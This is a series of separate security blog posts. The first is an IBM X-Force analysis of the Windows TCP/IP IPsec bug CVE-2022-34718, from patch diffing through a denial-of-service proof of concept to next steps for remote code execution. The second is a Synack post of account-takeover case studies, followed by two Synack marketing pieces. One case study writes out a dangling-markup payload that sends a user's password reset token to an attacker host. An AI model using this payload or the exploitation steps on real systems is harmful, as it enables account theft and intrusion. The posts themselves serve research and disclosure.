September’s Patch Tuesday unveiled a critical remote vulnerability in tcpip.sys, CVE-2022-34718. The advisory from Microsoft reads: “An unauthenticated attacker could send a specially crafted IPv6 packet to a Windows node where IPsec is enabled, which could enable a remote code execution exploitation on that machine.”

Pure remote vulnerabilities usually yield a lot of interest, but even over a month after the patch, no additional information outside of Microsoft’s advisory had been publicly published. From my side, it had been a long time since I attempted to do a binary patch diff analysis, so I thought this would be a good bug to do root cause analysis and craft a proof-of-concept (PoC) for a blog post.

On October 21 of last year, I posted an exploit demo and root cause analysis of the bug. Shortly thereafter a blog post and PoC was published by Numen Cyber Labs on the vulnerability, using a different exploitation method than I used in my demo.

In this blog — my follow-up article to my exploit video — I include an in-depth explanation of the reverse engineering of the bug and correct some inaccuracies I found in the Numen Cyber Labs blog.

In the following sections, I cover reverse engineering the patch for CVE-2022-34718, the affected protocols, identifying the bug, and reproducing it. I’ll outline setting up a test environment and write an exploit to trigger the bug and cause a Denial of Service (DoS). Finally, I’ll look at exploit primitives and outline the next steps to turn the primitives into remote code execution (RCE).

Patch Diffing

Microsoft’s advisory does not contain any specific details of the vulnerability except that it is contained in the TCP/IP driver and requires IPsec to be enabled. In order to identify the specific cause of the vulnerability, we’ll compare the patched binary to the pre-patch binary and try to extract the “diff”(erence) using a tool called BinDiff.

I used Winbindex to obtain two versions of tcpip.sys: one right before the patch and one right after, both for the same version of Windows. Getting sequential versions of the binaries is important, as even using versions a few updates apart can introduce noise from differences that are not related to the patch, and cause you to waste time while doing your analysis. Winbindex has made patch analysis easier than ever, as you can obtain any Windows binary beginning from Windows 10. I loaded both of the files in Ghidra, applied the Program Database (pdb) files, and ran auto analysis (checking aggressive instruction finder works best). Afterward, the files can be exported into a BinExport format using the extension BinExport for Ghidra. The files can then be loaded into BinDiff to create a diff and start analyzing their differences:

BinDiff summary comparing the pre- and post-patch binaries

BinDiff works by matching functions in the binaries being compared using various algorithms. In this case there, we have applied function symbol information from Microsoft, so all the functions can be matched by name.

List of matched functions sorted by similarity

Above we see there are only two functions that have a similarity less than 100%. The two functions that were changed by the patch are IppReceiveEsp and Ipv6pReassembleDatagram.

Vulnerability Root Cause Analysis

Previous research shows the Ipv6pReassembleDatagram function handles reassembling Ipv6 fragmented packets.

The function name IppReceiveEsp seems to indicate this function handles the receiving of IPsec ESP packets.

Before diving into the patch, I’ll briefly cover Ipv6 fragmentation and IPsec. Having a general understanding of these packet structures will help when attempting to reverse engineer the patch.

IPv6 Fragmentation:

An IPv6 packet can be divided into fragments with each fragment sent as a separate packet. Once all of the fragments reach the destination, the receiver reassembles them to form the original packet.

The diagram below illustrates the fragmentation:

Illustration of Ipv6 fragmentation

According to the RFC, fragmentation is implemented via an Extension Header called the Fragment header, which has the following format:

Ipv6 Fragment Header format

Where the Next Header field is the type of header present in the fragmented data.

IPsec (ESP):

IPsec is a group of protocols that are used together to set up encrypted connections. It’s often used to set up Virtual Private Networks (VPNs). From the first part of patch analysis, we know the bug is related to the processing of ESP packets, so we’ll focus on the Encapsulating Security Payload (ESP) protocol.

As the name suggests, the ESP protocol encrypts (encapsulates) the contents of a packet. There are two modes: in tunnel mode, a copy of IP header is contained in the encrypted payload, and in transport mode where only the transport layer portion of the packet is encrypted. Like IPv6 fragmentation, ESP is implemented as an extension header. According to the RFC, an ESP packet is formatted as follows:

Top Level Format of an ESP Packet

Where Security Parameters Index (SPI) and Sequence Number fields comprise the ESP extension header, and the fields between and including Payload Data and Next Header are encrypted. The Next Header field describes the header contained in Payload Data.

Now with a primer of Ipv6 Fragmentation and IPsec ESP, we can continue the patch diff analysis by analyzing the two functions we found were patched.

Ipv6pReassembleDatagram

Comparing the side by side of the function graphs, we can see that a single new code block has been introduced into the patched function:

Side-by-side comparison of the pre- and post-patch function graphs of Ipv6ReassembleDatagram

Let’s take a closer look at the block:

New code block in the patched function

The new code block is doing a comparison of two unsigned integers (in registers EAX and EDX) and jumping to a block if one value is less than the other. Let’s take a look at that destination block:

The target code has an unconditional call to the function IppDeleteFromReassemblySet. Taking a guess from the name of this function, this block seems to be for error handling. We can intuit that the new code that was added is some sort of bounds check, and there has been a “goto error” line inserted into the code, if the check fails.

With this bit of insight, we can perform static analysis in a decompiler.

0vercl0ck previously published a blog post doing vulnerability analysis on a different Ipv6 vulnerability and went deep into the reverse engineering of tcpip.sys. From this work and some additional reverse engineering, I was able to fill in structure definitions for the undocumented Packet_t and Reassembly_t objects, as well as identify a couple of crucial local variable assignments.

Decompilation output of Ipv6ReassembleDatagram

In the above code snippet, the pink box surrounds the new code added by the patch. Reassembly->nextheader_offset contains the byte offset of the next_header field in the Ipv6 fragmentation header. The bounds check compares next_header_offset to the length of the header buffer. On line 29, HeaderBufferLen is used to allocate a buffer and on line 35, Reassembly->nextheder_offset is used to index and copy into the allocated buffer.

Because this check was added, we now know there was a condition that allows nextheader_offset to exceed the header buffer length. We’ll move on to the second patched function to seek more answers.

IppReceiveEsp

Looking at the function graph side by side in the BinDiff workspace, we can identify some new code blocks introduced into the patched function:

Side-by-side comparison of the pre- and post-patch function graphs of IppReceiveEsp

The image below shows the decompilation of the function IppReceiveEsp, with a pink box surrounding the new code added by the patch.

Decompilation output of IppReceiveESP

Here, a new check was added to examine the Next Header field of the ESP packet. The Next Header field identifies the header of the decrypted ESP packet. Recall that a Next Header value can correspond to an upper layer protocol (such as TCP or UDP) or an extension header (such as fragmentation header or routing header). If the value in NextHeader is 0, 0x2B, or 0x2C, IppDiscardReceivedPackets is called and the error code is set to STATUS_DATA_NOT_ACCEPTED. These values correspond to IPv6 Hop-by-Hop Option, Routing Header for Ipv6, and Fragment Header for IPv6, respectively.

Referring back to the ESP RFC it states, “In the IPv6 context, ESP is viewed as an end-to-end payload, and thus should appear after hop-by-hop, routing, and fragmentation extension headers.” Now the problem becomes clear. If a header of these types is contained within an ESP payload, it violates the RFC of the protocol, and the packet will be discarded.

Putting It All Together

Now that we have diagnosed the patches in two different functions, we can figure out how they are related. In the first function Ipv6ReassembleDatagram, we determined the fix was for a buffer overflow.

Decompilation output of Ipv6ReassembleDatagram

Recall that the size of the victim buffer is calculated as the size of the extension headers, plus the size of an Ipv6 header (Line 10 above). Now refer back to the patch that was inserted (Line 16). Reassembly->nextheader_offset refers to the offset of the Next Header value of the buffer holding the data for the fragment.

Now refer back to the structure of an ESP packet:

Top Level Format of an ESP Packet

Notice that the Next Header field comes *after* Payload Data. This means that Reassembly->nextheader_offset will include the size of the Payload Data, which is controlled by the size of the data, and can be much greater than the size of the extension headers. The expected location of the Next Header field is inside an extension header or Ipv6 header. In an ESP packet, it is not inside the header, since it is actually contained in the encrypted portion of the packet.

Illustrated root cause of CVE-2022-34718

Now refer back to line 35 of Ipv6ReassembleDatagram, this is where an out of bounds 1 byte write occurs (the size and value of NextHeader).

Reproducing the Bug

We now know the bug can be triggered by sending an IPv6 fragmented datagram via IPsec ESP packets.

The next question to answer: how will the victim be able to decrypt the ESP packets?

To answer this question, I first tried to send packets to a victim containing an ESP Header with junk data and put a breakpoint on to the vulnerable IppReceiveEsp function, to see if the function could be reached. The breakpoint was hit, but the internal function I thought did the decrypting IppReceiveEspNbl, returned an error, so the vulnerable code was never reached. I further reverse engineered IppReceiveEspNbl and worked my way through to find the point of failure. This is where I learned that in order to successfully decrypt an ESP packet, a security association must be established.

A security association consists of a shared state, primarily cryptographic keys and parameters, maintained between two endpoints to secure traffic between them. In simple terms, a security association defines how a host will encrypt/decrypt/authenticate traffic coming from/going to another host. Security associations can be established via the Internet Key Exchange (IKE) or Authenticated IP Protocol. In essence, we need a way to establish a security association with the victim, so that it knows how to decrypt the incoming data from the attacker.

For testing purposes, instead of implementing IKE, I decided to create a security association on the victim manually. This can be done using the Windows Filtering Platform WinAPI (WFP). Numen’s blog post stated that it’s not possible to use WFP for secret key management. However, that is incorrect and by modifying sample code provided by Microsoft, it’s possible to set a symmetric key that the victim will use to decrypt ESP packets coming from the attacker IP.

Exploitation

Now that the victim knows how to decrypt ESP traffic from us (the attacker) we can build malformed encrypted ESP packets using scapy. Using scapy we can send packets at the IP layer. The exploitation process is simple:

CVE-2022-34718 PoC

I create a set of fragmented packets from an ICMPv6 Echo request. Then for each fragment, they are encrypted into an ESP layer before sending.

Primitive

From the root cause analysis diagram pictured above, we know our primitive gives us an out of bounds write at

offset = sizeof(Payload Data) + sizeof(Padding) + sizeof(Padding Length)

The value of the write is controllable via the value of the Next Header field. I set this value on line 36 in my exploit above (0x41 😉).

Denial of Service (DoS)

Corrupting just one byte into a random offset of the NetIoProtocolHeader2 pool (where the target buffer is allocated), usually does not immediately cause a crash. We can reliably crash the target by inserting additional headers within the fragmented message to parse, or by repeatedly pinging the target after corrupting a large portion of the pool.

Limitations to Overcome For RCE

offset is attacker controlled, however according to the ESP RFC, padding is required such that the Integrity Check Value (ICV) field (if present) is aligned on a 4-byte boundary.

Because

sizeof(Padding Length) = sizeof(Next Header) = 1,

sizeof(Payload Data) + sizeof(Padding) + 2 must be 4 byte aligned.

And therefore:

offset = 4n - 1

Where n can be any positive integer, constrained by the fact the payload data and padding must fit within a single packet and is therefore limited by MTU (frame size). This is problematic because it means full pointers cannot be overwritten. This is limiting, but not necessarily prohibitive; we can still overwrite the offset of an address in an object, a size, a reference counter, etc. The possibilities available to us depend on what objects can be sprayed in the kernel pool where the victim headerBuff is allocated.

Heap Grooming Research

The affected kernel pool in WinDbg

The victim out of bounds buffer is allocated in the NetIoProtocolHeader2 pool. The first steps in heap grooming research are: examine the type of objects allocated in this pool, what is contained in them, how they are used, and how the objects are allocated/freed. This will allow us to examine how the write primitive can be used to obtain a leak or build a stronger primitive. We are not necessarily restricted to NetIoProtocolHeader2. However, because the position of the victim out-of-bounds buffer cannot be predicted, and the address of surrounding pools is randomized, targeting other pools seems challenging.

Demo

Watch the demo exploiting CVE-2022-34718 ‘EvilESP’ for DoS below:

Takeaways

When laid out like this, the bug seems pretty simple. However, it took several long days of reverse engineering and learning about various networking stacks and protocols to understand the full picture and write a DoS exploit. Many researchers will say that configuring the setup and understanding the environment is the most time-consuming and tedious part of the process, and this was no exception. I am very glad that I decided to do this short project; I understand Ipv6, IPsec, and fragmentation much better now.

To learn how IBM Security X-Force can help you with offensive security services, schedule a no-cost consult meeting here: IBM X-Force Scheduler.

If you are experiencing cybersecurity issues or an incident, contact X-Force to help: U.S. hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.

References

1. https://www.rfc-editor.org/rfc/rfc8200#section-4.5
2. https://blog.quarkslab.com/analysis-of-a-windows-ipv6-fragmentation-vulnerability-cve-2021-24086.html
3. https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/#diffing-microsoft-patches-in-2021
4. https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml
5. https://datatracker.ietf.org/doc/html/rfc4303
6. https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-34718

The post Dissecting and Exploiting TCP/IP RCE Vulnerability “EvilESP” appeared first on Security Intelligence.

Nikhil Srivastava is a Synack Red Team legend and co-founder of Bsides Ahmedabad.

An Account Takeover (ATO) is an attack whereby attackers take ownership of online accounts using several methods. It is unfortunately more common than you’d think, despite all the warnings to create complex passwords, avoid phishing emails and use multi-factor authentication.

Recent research shows 1 in 5 adults have suffered from an account takeover with  average financial losses of approximately $12,000. Further, PerimeterX reported that 75 to 85% of all attempted logins in the second half of 2020 were account takeover attempts. 

The Digital Shadows Research Team exposed an even more concerning statistic: more than 24 billion account usernames and passwords are available for purchase on the dark web. In some cases, purchasing credentials isn’t necessary, as year after year, the most common password is 123456, appearing in one out of every 200 passwords. 

Now that we know just how common ATOs are, let’s review some of the tactics, techniques and procedures (TTPs) used in such attacks.

Account Takeover Methodologies

• Change Email/Password CSRF – The simplest ATO employs phishing. An attacker sends a link to the victim, and when the unsuspecting user clicks on the link, the victim’s email/password will be changed and the attacker can take over their account.
• OAuth CSRF – Consider a website that allows users to log in using either a classic, password-based mechanism or by linking their account to a social media profile using OAuth. In this case, if the application fails to use the state parameter, an attacker could potentially hijack a user’s account on the client application by binding it to their own social media account.
• Default/Weak Credentials – Most products have their own default credentials for things like servers, routers, and Virtual Network Computing (VNC) that sometimes do not get changed. Many applications lack a strong password policy and will allow users to set weak passwords such as 123456.
• Forgot your password? – Sometimes “forget password” implementations can be vulnerable to password reset token leaks, HTTP leaks, bypassing poor security questions, Host header injection or HTTP Parameter Pollution attacks. 
• Credential Stuffing – In this method, attackers use lists of compromised user credentials to breach a system. Bots can be deployed for automation and scale, based on the assumption that many users reuse usernames and passwords across multiple services.

Examples of Account Takeovers

Here are five anonymized ATO case studies from a variety of industries, including healthcare, software, government and commerce. 

Case Study 1 

In the case of an American chain restaurant, I used trufflehog, a Python search tool, to review the target. While scanning the application, it produced an alert of hard-coded, JavaScript credentials. Browsing the JavaScript, I found some UPS credentials had been hard coded, as shown in the screenshot below.

Using these credentials, I was able to login into their UPS account as an admin which granted me access to sensitive information and control over their shipments.

Case Study 2

Another ATO was for a collaboration software application. While resetting the password for an admin account, I found that the application leaked their password reset token in response, as shown in the screenshot below.

Using this token, I was able to reset the admin password. Sometimes, it really is that simple. 

Case Study 3

This is a case study of a product from a medical equipment company. I tested the whole application without getting any vulnerabilities and at the end decided to check the forget password flow. While requesting the password reset token, the application sent the following request that revealed a path for me to exploit.

I used a Dangling Markup such as <img src=”http://attacker-ip/?id= in the email body before the reset link and sent it to the user. Now as soon as the user opens the email, their password reset token will be sent to me instead.

Case Study 4

The scope of this target was a wildcard and unauthenticated testing only, so I first did some reconnaissance. I found an interesting subdomain that asked for a DVN ID and password to login.

I searched about DVN IDs in help articles, and I found out it’s a 9-digit number assigned to all vendors at the time of licensing.

I did Google searches but didn’t come up with this particular ID. I ended up looking at Google images results in hope that licensing could have been done with paper and could have this ID number included.

Cool, I was correct! Licensing was done on paper and I got a couple of valid DVN IDs in the subject of letters, such as: 

Now that I had this ID, I tried brute-forcing to get a password. When that turned up nothing, I retested the “forget password” flow. It asked for the DVN ID first before resetting the password. I found that the application used two requests for resetting the password. One for querying the password for DVN ID and another one sending a newly generated password to their email ID inside the request itself.

So, this disclosed not only their password but emails too. Using the newly generated password, I was able to login into their account.

Case Study 5 

I was scanning targets for an American food and beverage company when I came across an event application. The application asked for a valid user email to login, and those company emails were whitelisted. I tried with my name@companydomain at first to see the error message and I found the following.

I noticed an email for support was given at the bottom of the page to reach out for any trouble. I thought: Why not attempt it? I entered some information and found the following screen:

The application asked to set the password, and after setting up a password, I was able to login as admin:

Further, while checking the attendee directory, I found multiple accounts that could’ve been taken over using the same method.

Conclusion 

It’s hard to believe that someone with little to no technical experience could gain the level of access that I did, but you should! Account takeovers can be complex, but they can also be relatively simple. All it takes is a bit of creativity and motivation, and just about anyone can login as an admin.

The post Account Takeovers:  Believe the Unbelievable appeared first on Synack.

By Dan Mulvey, Regional Vice President, Federal

Enabling Continuous Penetration Testing at Scale for Federal Agencies 

Synack has paved the way as a trusted leader in Cybersecurity testing and vulnerability disclosure management. Now, Synack is raising the bar even higher by achieving the FedRAMP Moderate “In Process” milestone, helping to make federal data secure. Synack’s sponsoring agency for FedRAMP is the U.S. Department of Health & Human Services (HHS). Synack’s Discover, Certify, Synack365 and Synack Campaigns offerings are now available on the FedRAMP Marketplace. 

 

FedRAMP and Synack 

The Federal Risk and Authorization Management Program (FedRAMP) is a U.S. government-wide program that provides a standardized approach to security assessment, authorization and monitoring for cloud services. As part of its FedRAMP designation, Synack will be implementing 325 controls across 17 NIST 800-53 control families. Not only will this greatly enhance current protections for federal customer data, but it will also provide assurance to all our customers that Synack is reducing risk and providing government-grade data privacy protections. 

 

The Growing Importance of Security Testing

Organizations spend on average $1.3M per year on erroneous or inaccurate alerts, and sadly, while the average company gets 1 million alerts per year, only 4% are ever investigated. During a time when attacks are at an all-time high, it’s more important than ever to have security protections in place with results you can trust. Synack’s new FedRAMP Moderate “In Process” designation underlines the company’s commitment to providing a high level of security across the board and quality results, speeding vulnerability management efforts and reducing risks to government assets. 

Federal agencies have already been engaged with crowdsourced security testing solutions since such solutions were endorsed by the 2020 National Defense Authorization Act (NDAA), the National Cyber Strategy, and the Cybersecurity and Infrastructure Agency Binding Operational Directive (BOD) 20-01. Notably, as part of BOD 20-01, agencies are now required to develop vulnerability disclosure programs (VDPs). 

 

The 5 Benefits of Synack FedRAMP for Federal Agencies

Through partnering with Synack and leveraging Synack’s FedRAMP Moderate “In Process” designation, agencies can be reassured that their data is in safe hands. Synack will now provide the following benefits to federal agencies:

• Easy and quick procurement: Saves agencies time, 30 percent or more of costs, and effort by allowing them to leverage the existing assessments and authorization under FedRAMP.

• Risk mitigation: A security assessment at the Moderate level contains 3x the security controls in an ISO 27001 certification. These protections provide assurance that Synack is handling your data and the pentesting process with extra care. 
• FISMA compliance: Agencies are required to maintain FISMA compliance and FedRAMP provides a more affordable path to FISMA compliance. Many of the NIST 800-53 controls in FedRAMP overlap with those in FISMA, which means you don’t have to spend extra resources implementing these controls with vendors during an annual audit.
• Data security: Unlike FedRAMP LI-SaaS, FedRAMP Moderate is designed for agencies handling both external and internal applications. Additionally, if an agency works with sensitive data, they should be working with providers at the Moderate level. 
• Continuous monitoring: In order to comply with FedRAMP, agencies and software providers must continuously monitor certain controls and go through an annual assessment, which ensures they are always working with a fully-compliant testing provider.

 

Why the FedRAMP Designation Matters

Synack is the only crowdsourced security company that has achieved the “In Process” status at the Moderate level. FedRAMP levels vary across the number of controls required, the sensitivity of the information, and the network access for government applications. Cloud service providers (CSPs) are granted authorizations at four impact levels: LI-SaaS (Low Impact Software-as-a-Service), Low, Moderate and High. 

The stark difference in the control required is particularly apparent when you compare each of the 17 NIST 800-53 control families side by side. There are drastically more requirements for certain control families like access control, identification and authentication, and system and information integrity. These additional controls that Synack is adhering to ensure that your government assets—whether external or internal—stay secure. 

If you’d like to learn more about Synack’s FedRAMP environment or solutions for your Federal SOC, click here to book a meeting with a Synack representative.

The post Synack Achieves FedRAMP Moderate In Process Milestone appeared first on Synack.

From the SolarWinds Orion hack to the Kaseya ransomware attack, recent incidents have proven that a single vulnerability in a company’s product or supply chain can have a massive business and brand impact—potentially even posing a national security threat. Security leaders are under more pressure than ever to improve the speed, efficiency, and effectiveness of their incident response. 

To help investigate how security leaders on the front lines are handling the challenge, Synack sat down with Justin Anderson, Head of Vulnerability Management at LinkedIn, for a talk entitled, “Best Practices for Fast & Effective Vulnerability Management” on Dec. 8, 2021. Justin has years of technical experience in a wide range of contexts from the U.S. Air Force to LinkedIn, giving him a unique perspective that’s valuable for any executive or security leader dealing with vulnerability management issues. He spoke alongside Synack Product Analyst, Charlie Waterhouse. Charlie has years of experience conceptualizing security test methodologies that address vulnerability management concerns. 

In fact, many of the problems that Justin has addressed in his role are similar to those Synack is looking to solve with its Campaigns product offering. Read on to learn more!

 

No. 1: Use Human Talent and Time Wisely 

As security leaders build out their teams, the cyber talent gap continues to be a significant hurdle. The Biden administration has recognized a need to fill 600,000 cybersecurity jobs.  Additionally, engineering talent, especially in Silicon Valley, is expensive and in incredibly high demand. 

As a security leader, it does not make sense to hire specialized, in-house security talent. Synack supplies researchers with a variety of skill sets combined with a catalog of on-demand security products that can reduce a team’s workload from months to hours or days. Synack’s researchers’ expertise spans cloud environments such as AWS, Azure and GCP to APIs and mobile applications. Whether security teams are testing for compliance, M&A or a new product launch, Synack’s “App Store”-like experience provides a flexible array of on-demand testing and tasks, with many serving established security frameworks like OWASP Top 10 and NIST 800-53.

 

No. 2: Balance User Needs and Security 

In the words of Charlie Waterhouse, Security Analyst at Synack, “There is some internal tension between security and user experience.” Security is increasingly part of the development process, but when does it start to hinder instead of help growth? Justin from LinkedIn added, “We live in a world where we don’t have fantastic metrics on risk reduction. We also lack metrics on user experience. Security can be a greater threat than any attacker could be. An opaque and lengthy process can slow down an entire business.”

Synack has taken this into account by providing Synack Campaigns such as those based on the Open Web Application Security Project (OWASP) Application Security Verification Standard (ASVS). The three levels of ASVS Campaigns provide flexibility, so security teams can decide the level of security they need based on whether or not the application provides access to sensitive data. 

 

No. 3: Prioritize Across a Growing List of Vulnerabilities and Risks—Don’t Panic

Security teams face a rapidly growing attack surface. The key to managing it is maintaining a balance between addressing tech debt and responding to new threats. 

The first priority is often taking an inventory of the assets and cleaning up “tech debt.” Regularly updating software has never been more important. To go a step further and try to prioritize, Justin recommends compliance scoring. “A higher critical vulnerability should be the priority. We don’t go into the nuance of how this particular vulnerability may have an exploit. An exploit is likely to develop soon, but we try to get in the habit of regular cycle updates.”

Another priority may come from rapid response to news events such as the recent Apache Log4j vulnerability. This can distract security and IT teams—leading to panic. As Justin stated, “Sometimes, news cycles drive patching for things that are not that risky. As a security professional, it’s your job to explain why it’s not necessarily that risky and keep people from overreacting to something that’s not impactful. The other side of that is some vulnerabilities that have not been exploited, yet it seems like someone is going to find an exploit soon. The goal is to prevent any third-party attackers from getting access to the data.”

Synack offers checks for specific CVEs via Synack Campaigns. After researchers revealed the Log4j vulnerability, Synack responded immediately and provided an in-product check for the vulnerability in the form of a CVE Campaign. Within hours, Synack Researchers executed the Campaign, checking for the CVE, collaborating on the most efficient methods for detecting log4j, and providing customers with a risk assessment. Synack presents the information in a digestible, actionable way in order to save teams time and answer important questions via a report generated by running the Campaign. 

 

No. 4: Effectively Communicate Vulnerability Risks To Leadership Teams

The leadership in some organizations may be more tech-savvy than in others. That being said, one principle that holds true across all these interactions is that the best way to convey a message as a security leader is to become an expert on that specific vulnerability or security risk and its implications for your organization. 

Synack provides a reporting feature for Campaigns that compiles all the information necessary for leadership, legal, ops, or IT teams. The reports contain information like the severity of vulnerabilities found, whether certain task list items are “pass” or “fail,” evidence, and steps to reproduce findings. These reports are invaluable tools to communicate technical information to a non-technical audience, as well as for showing proof of work.

We hope that this information is useful for your organization as you consider different options. The cyber talent gap is only increasing. Security teams need on-demand solutions, automation, and specialized skills to address the growing workload. Vulnerability management leaders need products that improve security but not at the expense of user experience. There is a growing need to prioritize as vulnerabilities increase every year and attackers become more efficient. Lastly, security leaders need to fully immerse themselves in the nuance of new vulnerabilities and understand their potential impact. When security leaders communicate with executives, they should know the organization’s asset inventory, the extent of the vulnerability’s impact, and actions taken (or not taken) to mitigate its impact. All of these problems are front and center today for vulnerability management leaders, which is why we have developed a new product targeted at these pain points. 

If you are interested in learning more about Campaigns, check out our dedicated webpage, or request a demo. 

The post 4 Effective Vulnerability Management Tips for Security Leaders appeared first on Synack.